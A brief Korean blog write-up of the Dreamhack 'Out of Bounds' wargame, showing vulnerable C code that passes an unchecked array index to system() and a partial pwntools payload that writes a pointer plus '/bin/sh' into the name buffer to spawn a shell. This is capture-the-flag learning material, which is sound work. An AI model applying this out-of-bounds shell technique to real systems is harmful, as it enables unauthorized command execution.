호그와트

dreamhack Oob

영웅*^%&$ 2022. 2. 9. 19:42
728x90

int main()

{

int idx;

initialize();

printf("Admin name: ");

read(0, name, sizeof(name));

printf("What do you want?: ");

scanf("%d", &idx);

system(command[idx]);

return 0;

}

대충 이름을 물어보고 입력값을 받는다

배열에 index를 벗어나서 참조하면 원하는 system 명령어를 실행할 수 있다 그걸 개념적으로는 Out of Bounds라고 한다.

p.recvuntil(b"Admin name: “)

payload = p32(name+4)

payload += b”/bin/sh"

p.sendline(payload)

p.recvuntil(b"What do you want?: “)

~~~~~~~~~~~~~

요렇게 한 다음 참조값을 적당히 넣어주면 flag가 나온다

728x90